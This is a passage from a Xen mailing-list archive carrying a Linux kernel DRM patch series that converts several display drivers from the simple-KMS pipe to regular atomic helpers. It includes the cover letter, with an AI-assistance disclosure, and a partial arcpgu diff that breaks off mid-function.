 89B75FZwjiKnXG/Eygzz/8jqXVBzz8cOiQ+xA1096ricDRM5IzzE/r3qK/pdQ238GVtRlbG4FYi
 vgMaeGSbqp+ZruVqmlZlAxroEcPFnO7sg4h2rV7EJ0z8jN/UbsSK//ZGar0Yia1I573559aSDwK
 7npX9/wTOVJB7lV8wRg==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-16_03,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 spamscore=0 adultscore=0 clxscore=1015 suspectscore=0 lowpriorityscore=0
 priorityscore=1501 impostorscore=0 phishscore=0 malwarescore=0 bulkscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607160091
X-purgate-ID: tlsNG-d25034/1784192571-020C1A5B-B961426E/0/0
X-purgate-type: clean
X-purgate-size: 4275

struct drm_simple_display_pipe was meant to simplify simple DRM
drivers, but instead adds an extra wrapper around normal DRM atomic
helper setup. As noted in Documentation/gpu/todo.rst, remaining users
should be converted to regular atomic helpers and stop depending on the
simple-KMS interfaces.

This series converts the following drivers:

  - arcpgu
  - aspeed
  - mcde
  - pl111
  - gm12u320
  - repaper
  - tve200
  - xen frontend

Each patch replaces drm_simple_display_pipe_init() with explicit
primary plane, CRTC and encoder setup, and moves the old simple-pipe
callbacks into regular plane and CRTC helper callbacks named according
to local driver conventions.

The conversions preserve helper behavior that used to be implicit in
drm_simple_kms_helper.c, including plane-state validation, CRTC
primary-plane checks, affected-plane propagation, framebuffer prepare
handling, and existing event/vblank flow where applicable.

Result is less helper indirection and more explicit driver-side atomic
wiring, with no remaining simple-KMS dependency in these drivers.

Except for gm12u320, no hardware testing was performed.

This series is based on drm-next-2026-06-27.

AI usage disclosure:
- I wrote the first two commits myself. The remaining patches were completed
  with assistance from AI tools.
- AI tools were also used to review the code and suggest code changes for
  the DRM atomic conversion.

Thanks,
Ze Huang

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
Changes in v2:
- common changes:
- create upcast helpers
- use 'commit' as name of struct drm_atomic_commit in atomic helpers
- improve control flow in *_crtc_helper_atomic_check() and
  *_plane_helper_atomic_check()
- Moved page-flip/vblank event handling out of plane update paths and into
  CRTC atomic_flush(), using atomic_flush and disable paths for mcde,
  pl111 and tve200
- arcpgu:
    - remove reduntant mod_supported helper
    - change obsolete mode field to crtc->state->mode
- mcde:
    - drop attach of unused encoder
- tve200:
    - reorder connector/bridge attach
- xen:
    - change possible_crtcs mask to 0
- Link to v1: https://patch.msgid.link/20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com

---
Ze Huang (8):
      drm/arcpgu: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/aspeed: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/mcde: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/pl111: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/gm12u320: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/repaper: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/tve200: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/xen: replace struct drm_simple_display_pipe with regular atomic helpers

 drivers/gpu/drm/aspeed/aspeed_gfx.h      |  11 +-
 drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c | 187 ++++++++++++++++-------
 drivers/gpu/drm/aspeed/aspeed_gfx_drv.c  |   3 +-
 drivers/gpu/drm/mcde/mcde_display.c      | 251 ++++++++++++++++++++-----------
 drivers/gpu/drm/mcde/mcde_drm.h          |   8 +-
 drivers/gpu/drm/mcde/mcde_drv.c          |   8 +-
 drivers/gpu/drm/pl111/pl111_display.c    | 202 ++++++++++++++++++-------
 drivers/gpu/drm/pl111/pl111_drm.h        |   5 +-
 drivers/gpu/drm/pl111/pl111_drv.c        |   3 +-
 drivers/gpu/drm/tiny/arcpgu.c            | 179 ++++++++++++++++------
 drivers/gpu/drm/tiny/gm12u320.c          | 132 +++++++++++++---
 drivers/gpu/drm/tiny/repaper.c           | 132 ++++++++++++----
 drivers/gpu/drm/tve200/tve200_display.c  | 217 +++++++++++++++++---------
 drivers/gpu/drm/tve200/tve200_drm.h      |   6 +-
 drivers/gpu/drm/tve200/tve200_drv.c      |  12 +-
 drivers/gpu/drm/xen/xen_drm_front.h      |   6 +-
 drivers/gpu/drm/xen/xen_drm_front_kms.c  | 175 +++++++++++++++------
 17 files changed, 1107 insertions(+), 430 deletions(-)
---
base-commit: 3696d07837d1df13a5603d77f667685e7dfb3c53
change-id: 20260704-drm-simple-kms-removal-01a031c6a129

Best regards,
-- 
Ze Huang <ze.huang@oss.qualcomm.com>



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 09:03:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 09:03:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363563.1615146 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkHzg-0001So-PO; Thu, 16 Jul 2026 09:03:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363563.1615146; Thu, 16 Jul 2026 09:03:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkHzg-0001Sh-IE; Thu, 16 Jul 2026 09:03:00 +0000
Received: by outflank-mailman (input) for mailman id 1363563;
 Thu, 16 Jul 2026 09:02:59 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wkHzf-0001Rv-CZ
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 09:02:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkHze-005AXw-P6
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:02:58 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e36-2eae-0a2a0a5409dd-0a2a4503be80-40
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:02:58 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e40-fae8-0a2a45030019-cddcb48388c8-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:02:58 +0200
Received: from pps.filterd (m0279868.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66G838GX2123575
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:02:56 GMT
Received: from mail-pl1-f199.google.com (mail-pl1-f199.google.com
 [209.85.214.199])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4feuex072t-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:02:56 +0000 (GMT)
Received: by mail-pl1-f199.google.com with SMTP id
 d9443c01a7336-2c7f385887bso154816165ad.0
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 02:02:56 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 d9443c01a7336-2cf106b271asm16592555ad.64.2026.07.16.02.02.47
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 16 Jul 2026 02:02:54 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	K0bpK7inA55ypw9IyK4ZYF+yJtIn8h5ntrPY4x3zw2I=; b=jtsMH/CiIg+IYyIM
	UoWG17o1MwtLWopLoZO3sy24Al2Z9sOFbaENN4AOVJF4xU+bpPR+d9C9787h4TwO
	tSi9Ly3o/bxKWOdhB2fUU2i6GLhIiOeLqh+axAMMQ1eq/rr8R37KUew+2z2OQOHC
	nepZjqnosLkUboNLZlbyuXUjJEuUwJmPnkH2LVpO1iG4PXZJbOh8GFxD2BcKMFn7
	41Czs3gRW49t6RwW8MVnxwacodggU7naT8AG19dTfVi+b1JqsixtDBt1+u2reMB+
	XBxXv62GBdx6j/TuWz2kjm07GxtIOsh5Py6VZY4wdDPyPKa0u7dUY310ccoTFnlq
	1cRjdA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784192575; x=1784797375; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=K0bpK7inA55ypw9IyK4ZYF+yJtIn8h5ntrPY4x3zw2I=;
        b=VIccdnXdof8AWkzdZJMFCsFmzzM/CgxoUDtrAZHuorSIim6x6pAoxJr6ArjlIeBx3n
         ZEZvbEW56RDDo2x86oFBCgG0lLeTBmOG4ZODj8Sdxi/1ne+03AGTSBw4AxuHv0qa2xI2
         pY44IA5MXDihQ4YX24sP26WtfMq1+uV3uJ2nVemuCioFjKtzUBQm7jYlA8/VN85uRUE+
         EcXS/hAQ13dEtqkkR/lBEU9qzoPrjD7XrOiAN6Jf98hVIhNeSh/U7SFV0aq2epJurPE+
         SsO1SsQWldmj/hPUsaHCni8KbBxdIDOAc0+LkNUtjh6Xocb3ODzguO7TuVFIv/NO8n2F
         8VYA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784192575; x=1784797375;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=K0bpK7inA55ypw9IyK4ZYF+yJtIn8h5ntrPY4x3zw2I=;
        b=hdEFb4H2iBbyXUZZZrjJiqvm5YPnNQZmLVRrXnGwkPw+eexcE6eQF+0HB4xOD8YNhB
         Kd0GMs+rlRKcfm881VOMWCLmM8gTTy2+khH2lDBAvdm+WSXtb7tylQqfHmzBQA84x70K
         G898m4Gll0HIakR+CFFJZOAtX8EiGZemf8vxJrwNJvu9Yod8iypMKYL3uS5O4Ym2MCYy
         /zuKo3L+XwTmuCDMT3NaDHQWOB5lIfn8fm+l8ab2DLo65uMjiJTgoEofeSic+F+6uBxb
         CnirDLQGeMJhDAPLHrlow4TEG443HtWSanrKoUfHP4oCvSnLy4I6sy/jvtmFw4pV103K
         hXSA==
X-Forwarded-Encrypted: i=1; AHgh+RorI4ANTVGAvOeiPWZkMNKAcRTCprTl7u+h/tm17gaT5tCirsOK4I9NCDpbjGwysEhJbehQaNMnEW0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxSK2bFaucE06HOzeC/oCMmuZJ4r/NxLkAhYa4EzQ9xNjMv8cq9
	5UMwluMvAV30PwEgtigVygDg9YsGcF76WUYuHvR9bjQymw8KvTagIeKIJ/keJCzuBgw74MrB9Gy
	ZA8s/TiZrZJ03dALcATIp2I6McABpiWHpRk795AW4TOjX2WX+fvQRHu7JHYHOL52uJdpOr0anAE
	GMrSoW
X-Gm-Gg: AfdE7cm5tWCskceprnHf5D0sesPagY3BkAk/YRcThGpI43h176RMTgJZzVWrL5Zodfi
	+LPQiTCGpMUZ+mbrRMseutCwl43yaMYYKB1fWXALSFov5tp4rLmf/RKAkYQTI5HNb6323i8MS7T
	OqeaCSf1ZwhmmLZwDiwT/OmswkQ81hwsp1s9YOLhk3bIxAC9gMs6qQmaDkb2HIr/uPyStiJXiaH
	LN38Gz6pQ/QrjJ75BsTM1REJxCklrbnQ4JARYQd3iCjOlt3aTMQWt0yUOCEAokHyA/a4RI8aFIV
	sh90//28K4cuKVKhINhtWteOzZAI53p6SIOApGfMPa6hhpIRXViI77SQjsEzvPFlkbRPybJOM7k
	SIN2awLIpY2+vJv/eZJlS
X-Received: by 2002:a17:902:e787:b0:2cc:7c36:2c23 with SMTP id d9443c01a7336-2cf03d6be8amr56675115ad.43.1784192575386;
        Thu, 16 Jul 2026 02:02:55 -0700 (PDT)
X-Received: by 2002:a17:902:e787:b0:2cc:7c36:2c23 with SMTP id d9443c01a7336-2cf03d6be8amr56674695ad.43.1784192574779;
        Thu, 16 Jul 2026 02:02:54 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Thu, 16 Jul 2026 17:01:53 +0800
Subject: [PATCH v2 1/8] drm/arcpgu: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260716-drm-simple-kms-removal-v2-1-1133a8fc3785@oss.qualcomm.com>
References: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
In-Reply-To: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1784192559; l=11611;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=mhZuZpvxlw2add5yFJofNe/qRYemwKr9KZXWIRbaR4U=;
 b=bKGcIBRbY3DWlMj5Cf4cPqNMuGZMGDU6qKuQzX/N11LATYpXjJUNET/zATFlfhoW3+9trVitB
 aYnklaVV/K+BCQCTcDi+FqGjUSBjW456AT7fVFNvbJXR15fJ9ZpoOgM
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Authority-Analysis: v=2.4 cv=JeeMa0KV c=1 sm=1 tr=0 ts=6a589e40 cx=c_pps
 a=JL+w9abYAAE89/QcEU+0QA==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=ZpdpYltYx_vBUK5n70dp:22
 a=EUspDBNiAAAA:8 a=dobV-df0kVLvunOko3gA:9 a=QEXdDO2ut3YA:10
 a=324X-CrmTo6CU4MGRt3R:22
X-Proofpoint-ORIG-GUID: UVfDJ17aSi6kKC9iopJkOIgDL_Cat37y
X-Proofpoint-GUID: UVfDJ17aSi6kKC9iopJkOIgDL_Cat37y
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfXzO4mU/PZRlpN
 hCwWRuKeMGe0hL2X2ubnf493ASUtp9TIsngfrtoCG2OHI5WlfqF3uAOnfD3caHsg/iHsghxPi3c
 t3bMOhhaMPv9UZezZ34IcgSkhRAPTCU=
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfX1TD7Y633MImh
 G+1v4sbjflQ0DLuS3Z4dfHQB9+BPJLwLZTKDXAyuLA0PWnMFcWCyG5a/9K0Un3h6lZAg43J2/7+
 qtfyCUgr2jjH3+z7SmZW34FfBrmBAqp77hdKVc7Sad04nFPYwsc90WMVhrywuCw2AtUAVQENDXN
 3CosM4zcO+r7XVlPn5guSJpkyj128iwmAWL5Y0I7x+tf5KGIu0dTFt6yrl63CjM1KZj4eKiLCfb
 acu85Duf40Hb1o8LJRHKWLbYQZS252r86f/Lzf/gwfVRNuXIqP3WU5+oxo64oaAKPpo12OKc4mD
 ijjhmcxB41yOfgd1mwNa+MWkCUdb+0BCfN/qEMYJlQIanmktmiCEtFNBGdXsy+pA1FOM6ned3Tc
 1cb2qyupVb+F7EpK7DDJmbq2lRR+ugFpYHYKeur+q5Hxl8aKE82MVrjsKRlBcI4EAlggTuSPCAW
 BylRsyxuS71AgQ5Pf8A==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-16_03,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 spamscore=0 adultscore=0 clxscore=1015 suspectscore=0 lowpriorityscore=0
 priorityscore=1501 impostorscore=0 phishscore=0 malwarescore=0 bulkscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607160091
X-purgate-ID: tlsNG-33051d/1784192578-762FD4E9-E18FBE81/0/0
X-purgate-type: clean
X-purgate-size: 11613

Instantiate plane, CRTC and encoder directly and wire them up with
standard atomic helpers.

This removes arcpgu's dependency on deprecated simple-KMS display pipe
interface.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/tiny/arcpgu.c | 179 +++++++++++++++++++++++++++++++-----------
 1 file changed, 133 insertions(+), 46 deletions(-)

diff --git a/drivers/gpu/drm/tiny/arcpgu.c b/drivers/gpu/drm/tiny/arcpgu.c
index c93d61ac0bb7..e0cce4798f3e 100644
--- a/drivers/gpu/drm/tiny/arcpgu.c
+++ b/drivers/gpu/drm/tiny/arcpgu.c
@@ -8,6 +8,7 @@
 #include <linux/clk.h>
 
 #include <drm/clients/drm_client_setup.h>
+#include <drm/drm_atomic.h>
 #include <drm/drm_atomic_helper.h>
 #include <drm/drm_debugfs.h>
 #include <drm/drm_device.h>
@@ -17,12 +18,13 @@
 #include <drm/drm_fbdev_dma.h>
 #include <drm/drm_fourcc.h>
 #include <drm/drm_framebuffer.h>
+#include <drm/drm_gem_atomic_helper.h>
 #include <drm/drm_gem_dma_helper.h>
 #include <drm/drm_gem_framebuffer_helper.h>
 #include <drm/drm_module.h>
 #include <drm/drm_of.h>
+#include <drm/drm_plane.h>
 #include <drm/drm_probe_helper.h>
-#include <drm/drm_simple_kms_helper.h>
 #include <linux/dma-mapping.h>
 #include <linux/module.h>
 #include <linux/of_reserved_mem.h>
@@ -52,13 +54,16 @@ struct arcpgu_drm_private {
 	struct drm_device	drm;
 	void __iomem		*regs;
 	struct clk		*clk;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane	plane;
+	struct drm_crtc		crtc;
+	struct drm_encoder	encoder;
 	struct drm_connector	sim_conn;
 };
 
-#define dev_to_arcpgu(x) container_of(x, struct arcpgu_drm_private, drm)
-
-#define pipe_to_arcpgu_priv(x) container_of(x, struct arcpgu_drm_private, pipe)
+static inline struct arcpgu_drm_private *dev_to_arcpgu(struct drm_device *drm)
+{
+	return container_of(drm, struct arcpgu_drm_private, drm);
+}
 
 static inline void arc_pgu_write(struct arcpgu_drm_private *arcpgu,
 				 unsigned int reg, u32 value)
@@ -117,7 +122,7 @@ static const u32 arc_pgu_supported_formats[] = {
 
 static void arc_pgu_set_pxl_fmt(struct arcpgu_drm_private *arcpgu)
 {
-	const struct drm_framebuffer *fb = arcpgu->pipe.plane.state->fb;
+	const struct drm_framebuffer *fb = arcpgu->plane.state->fb;
 	uint32_t pixel_format = fb->format->format;
 	u32 format = DRM_FORMAT_INVALID;
 	int i;
@@ -139,10 +144,10 @@ static void arc_pgu_set_pxl_fmt(struct arcpgu_drm_private *arcpgu)
 	arc_pgu_write(arcpgu, ARCPGU_REG_CTRL, reg_ctrl);
 }
 
-static enum drm_mode_status arc_pgu_mode_valid(struct drm_simple_display_pipe *pipe,
-					       const struct drm_display_mode *mode)
+static enum drm_mode_status arcpgu_crtc_helper_mode_valid(struct drm_crtc *crtc,
+							  const struct drm_display_mode *mode)
 {
-	struct arcpgu_drm_private *arcpgu = pipe_to_arcpgu_priv(pipe);
+	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(crtc->dev);
 	long rate, clk_rate = mode->clock * 1000;
 	long diff = clk_rate / 200; /* +-0.5% allowed by HDMI spec */
 
@@ -155,7 +160,7 @@ static enum drm_mode_status arc_pgu_mode_valid(struct drm_simple_display_pipe *p
 
 static void arc_pgu_mode_set(struct arcpgu_drm_private *arcpgu)
 {
-	struct drm_display_mode *m = &arcpgu->pipe.crtc.state->adjusted_mode;
+	struct drm_display_mode *m = &arcpgu->crtc.state->adjusted_mode;
 	u32 val;
 
 	arc_pgu_write(arcpgu, ARCPGU_REG_FMT,
@@ -194,11 +199,10 @@ static void arc_pgu_mode_set(struct arcpgu_drm_private *arcpgu)
 	clk_set_rate(arcpgu->clk, m->crtc_clock * 1000);
 }
 
-static void arc_pgu_enable(struct drm_simple_display_pipe *pipe,
-			   struct drm_crtc_state *crtc_state,
-			   struct drm_plane_state *plane_state)
+static void arcpgu_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					     struct drm_atomic_commit *commit)
 {
-	struct arcpgu_drm_private *arcpgu = pipe_to_arcpgu_priv(pipe);
+	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(crtc->dev);
 
 	arc_pgu_mode_set(arcpgu);
 
@@ -208,9 +212,10 @@ static void arc_pgu_enable(struct drm_simple_display_pipe *pipe,
 		      ARCPGU_CTRL_ENABLE_MASK);
 }
 
-static void arc_pgu_disable(struct drm_simple_display_pipe *pipe)
+static void arcpgu_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					      struct drm_atomic_commit *commit)
 {
-	struct arcpgu_drm_private *arcpgu = pipe_to_arcpgu_priv(pipe);
+	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(crtc->dev);
 
 	clk_disable_unprepare(arcpgu->clk);
 	arc_pgu_write(arcpgu, ARCPGU_REG_CTRL,
@@ -218,35 +223,95 @@ static void arc_pgu_disable(struct drm_simple_display_pipe *pipe)
 			      ~ARCPGU_CTRL_ENABLE_MASK);
 }
 
-static void arc_pgu_update(struct drm_simple_display_pipe *pipe,
-			   struct drm_plane_state *state)
+static void arcpgu_plane_helper_atomic_update(struct drm_plane *plane,
+					      struct drm_atomic_commit *commit)
 {
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
 	struct arcpgu_drm_private *arcpgu;
 	struct drm_gem_dma_object *gem;
 
-	if (!pipe->plane.state->fb)
+	if (!pstate->fb)
 		return;
 
-	arcpgu = pipe_to_arcpgu_priv(pipe);
-	gem = drm_fb_dma_get_gem_obj(pipe->plane.state->fb, 0);
+	arcpgu = dev_to_arcpgu(plane->dev);
+	gem = drm_fb_dma_get_gem_obj(pstate->fb, 0);
 	arc_pgu_write(arcpgu, ARCPGU_REG_BUF0_ADDR, gem->dma_addr);
 }
 
-static const struct drm_simple_display_pipe_funcs arc_pgu_pipe_funcs = {
-	.update = arc_pgu_update,
-	.mode_valid = arc_pgu_mode_valid,
-	.enable	= arc_pgu_enable,
-	.disable = arc_pgu_disable,
-};
-
 static const struct drm_mode_config_funcs arcpgu_drm_modecfg_funcs = {
-	.fb_create  = drm_gem_fb_create,
+	.fb_create = drm_gem_fb_create,
 	.atomic_check = drm_atomic_helper_check,
 	.atomic_commit = drm_atomic_helper_commit,
 };
 
 DEFINE_DRM_GEM_DMA_FOPS(arcpgu_drm_ops);
 
+static int arcpgu_plane_helper_atomic_check(struct drm_plane *plane,
+					    struct drm_atomic_commit *commit)
+{
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_crtc *crtc = plane_state->crtc;
+	struct drm_crtc_state *crtc_state = NULL;
+
+	if (crtc)
+		crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+
+	return drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						   DRM_PLANE_NO_SCALING,
+						   DRM_PLANE_NO_SCALING,
+						   false, false);
+}
+
+static const struct drm_plane_helper_funcs arcpgu_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= arcpgu_plane_helper_atomic_check,
+	.atomic_update	= arcpgu_plane_helper_atomic_update,
+};
+
+static const struct drm_plane_funcs arcpgu_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.destroy		= drm_plane_cleanup,
+	.reset			= drm_atomic_helper_plane_reset,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static int arcpgu_crtc_helper_atomic_check(struct drm_crtc *crtc,
+					   struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
+}
+
+static const struct drm_crtc_helper_funcs arcpgu_crtc_helper_funcs = {
+	.mode_valid	= arcpgu_crtc_helper_mode_valid,
+	.atomic_check	= arcpgu_crtc_helper_atomic_check,
+	.atomic_enable	= arcpgu_crtc_helper_atomic_enable,
+	.atomic_disable	= arcpgu_crtc_helper_atomic_disable,
+};
+
+static const struct drm_crtc_funcs arcpgu_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+};
+
+static const struct drm_encoder_funcs arcpgu_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
+};
+
 static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
 {
 	struct platform_device *pdev = to_platform_device(arcpgu->drm.dev);
@@ -254,6 +319,9 @@ static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
 	struct device_node *endpoint_node = NULL;
 	struct drm_connector *connector = NULL;
 	struct drm_device *drm = &arcpgu->drm;
+	struct drm_plane *plane;
+	struct drm_encoder *encoder;
+	struct drm_crtc *crtc;
 	int ret;
 
 	arcpgu->clk = devm_clk_get(drm->dev, "pxlclk");
@@ -285,6 +353,30 @@ static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
 	if (dma_set_mask_and_coherent(drm->dev, DMA_BIT_MASK(32)))
 		return -ENODEV;
 
+	plane = &arcpgu->plane;
+	ret = drm_universal_plane_init(drm, plane, 0,
+				       &arcpgu_plane_funcs,
+				       arc_pgu_supported_formats,
+				       ARRAY_SIZE(arc_pgu_supported_formats),
+				       NULL,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+	drm_plane_helper_add(plane, &arcpgu_plane_helper_funcs);
+
+	crtc = &arcpgu->crtc;
+	ret = drm_crtc_init_with_planes(drm, crtc, plane, NULL,
+					&arcpgu_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+	drm_crtc_helper_add(crtc, &arcpgu_crtc_helper_funcs);
+
+	encoder = &arcpgu->encoder;
